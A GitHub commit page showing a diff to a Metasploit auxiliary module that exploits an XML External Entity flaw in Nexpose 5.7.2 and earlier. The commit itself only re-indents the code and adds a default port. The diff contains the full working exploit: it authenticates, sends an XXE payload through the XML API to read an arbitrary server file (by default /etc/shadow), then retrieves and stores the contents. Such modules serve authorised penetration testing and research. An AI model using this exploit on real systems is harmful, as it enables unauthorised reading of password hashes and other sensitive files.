Skip to content

Commit 24b8fb0

Browse files
author
Tod Beardsley
committed
Whitespace retab, add rport 3780 as default
1 parent e436d31 commit 24b8fb0

File tree

1 file changed

+121
-120
lines changed

1 file changed

+121
-120
lines changed

modules/auxiliary/admin/http/nexpose_xxe_file_read.rb

Lines changed: 121 additions & 120 deletions
Original file line numberDiff line numberDiff line change
@@ -10,124 +10,125 @@
1010

1111
class Metasploit4 < Msf::Auxiliary
1212

13-
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::Report
15-
16-
def initialize(info = {})
17-
super(update_info(info,
18-
'Name' => 'Nexpose XXE Arbitrary File Read',
19-
'Description' => %q{
20-
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
21-
of vectors. This vulnerability can allow an attacker to a craft special XML that
22-
could read arbitrary files from the filesystem. This module exploits the
23-
vulnerability via the XML API.
24-
},
25-
'Author' =>
26-
[
27-
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
28-
'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector
29-
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported
30-
],
31-
'License' => MSF_LICENSE,
32-
'References' =>
33-
[
34-
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
35-
# Fill this in with the direct advisory URL from Infigo
36-
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
37-
]
38-
))
39-
40-
register_options(
41-
[
42-
OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
43-
OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
44-
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
45-
OptBool.new('SSL', [true, 'Use SSL', true])
46-
], self.class)
47-
end
48-
49-
def run
50-
user = datastore['USERNAME']
51-
pass = datastore['PASSWORD']
52-
prot = datastore['SSL'] ? 'https' : 'http'
53-
54-
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
55-
56-
print_status("Authenticating as: " << user)
57-
begin
58-
nsc.login
59-
report_auth_info(
60-
:host => rhost,
61-
:port => rport,
62-
:sname => prot,
63-
:user => user,
64-
:pass => pass,
65-
:proof => '',
66-
:active => true
67-
)
68-
69-
rescue
70-
print_error("Error authenticating, check your credentials")
71-
return
72-
end
73-
74-
xml = '<!DOCTYPE foo ['
75-
xml << '<!ELEMENT host ANY>'
76-
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
77-
xml << ']>'
78-
xml << '<SiteSaveRequest session-id="'
79-
80-
xml << nsc.session_id
81-
82-
xml << '">'
83-
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
84-
xml << '<Hosts>'
85-
xml << '<host>&xxe;</host>'
86-
xml << '</Hosts>'
87-
xml << '<Credentials />'
88-
xml << '<Alerting />'
89-
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
90-
xml << '</Site>'
91-
xml << '</SiteSaveRequest>'
92-
93-
print_status("Sending payload")
94-
begin
95-
fsa = nsc.execute(xml)
96-
rescue
97-
print_error("Error executing API call for site creation, ensure the filepath is correct")
98-
return
99-
end
100-
101-
doc = REXML::Document.new fsa.raw_response_data
102-
id = doc.root.attributes["site-id"]
103-
104-
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
105-
106-
print_status("Retrieving file")
107-
begin
108-
fsa = nsc.execute(xml)
109-
rescue
110-
nsc.site_delete id
111-
print_error("Error retrieving the file.")
112-
return
113-
end
114-
115-
doc = REXML::Document.new fsa.raw_response_data
116-
117-
print_status("Cleaning up")
118-
begin
119-
nsc.site_delete id
120-
rescue
121-
print_error("Error while cleaning up site")
122-
return
123-
end
124-
125-
if !doc.root.elements["//host"]
126-
print_error("No file returned. Either the server is patched or the file did not exist.")
127-
return
128-
end
129-
130-
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
131-
print_good("File saved to path: " << path)
132-
end
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Nexpose XXE Arbitrary File Read',
19+
'Description' => %q{
20+
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
21+
of vectors. This vulnerability can allow an attacker to a craft special XML that
22+
could read arbitrary files from the filesystem. This module exploits the
23+
vulnerability via the XML API.
24+
},
25+
'Author' =>
26+
[
27+
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
28+
'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector
29+
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
35+
# Fill this in with the direct advisory URL from Infigo
36+
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
37+
]
38+
))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(3780),
43+
OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
44+
OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
45+
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
46+
OptBool.new('SSL', [true, 'Use SSL', true])
47+
], self.class)
48+
end
49+
50+
def run
51+
user = datastore['USERNAME']
52+
pass = datastore['PASSWORD']
53+
prot = datastore['SSL'] ? 'https' : 'http'
54+
55+
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
56+
57+
print_status("Authenticating as: " << user)
58+
begin
59+
nsc.login
60+
report_auth_info(
61+
:host => rhost,
62+
:port => rport,
63+
:sname => prot,
64+
:user => user,
65+
:pass => pass,
66+
:proof => '',
67+
:active => true
68+
)
69+
70+
rescue
71+
print_error("Error authenticating, check your credentials")
72+
return
73+
end
74+
75+
xml = '<!DOCTYPE foo ['
76+
xml << '<!ELEMENT host ANY>'
77+
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
78+
xml << ']>'
79+
xml << '<SiteSaveRequest session-id="'
80+
81+
xml << nsc.session_id
82+
83+
xml << '">'
84+
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
85+
xml << '<Hosts>'
86+
xml << '<host>&xxe;</host>'
87+
xml << '</Hosts>'
88+
xml << '<Credentials />'
89+
xml << '<Alerting />'
90+
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
91+
xml << '</Site>'
92+
xml << '</SiteSaveRequest>'
93+
94+
print_status("Sending payload")
95+
begin
96+
fsa = nsc.execute(xml)
97+
rescue
98+
print_error("Error executing API call for site creation, ensure the filepath is correct")
99+
return
100+
end
101+
102+
doc = REXML::Document.new fsa.raw_response_data
103+
id = doc.root.attributes["site-id"]
104+
105+
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
106+
107+
print_status("Retrieving file")
108+
begin
109+
fsa = nsc.execute(xml)
110+
rescue
111+
nsc.site_delete id
112+
print_error("Error retrieving the file.")
113+
return
114+
end
115+
116+
doc = REXML::Document.new fsa.raw_response_data
117+
118+
print_status("Cleaning up")
119+
begin
120+
nsc.site_delete id
121+
rescue
122+
print_error("Error while cleaning up site")
123+
return
124+
end
125+
126+
if !doc.root.elements["//host"]
127+
print_error("No file returned. Either the server is patched or the file did not exist.")
128+
return
129+
end
130+
131+
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
132+
print_good("File saved to path: " << path)
133+
end
133134
end

0 commit comments

Comments
 (0)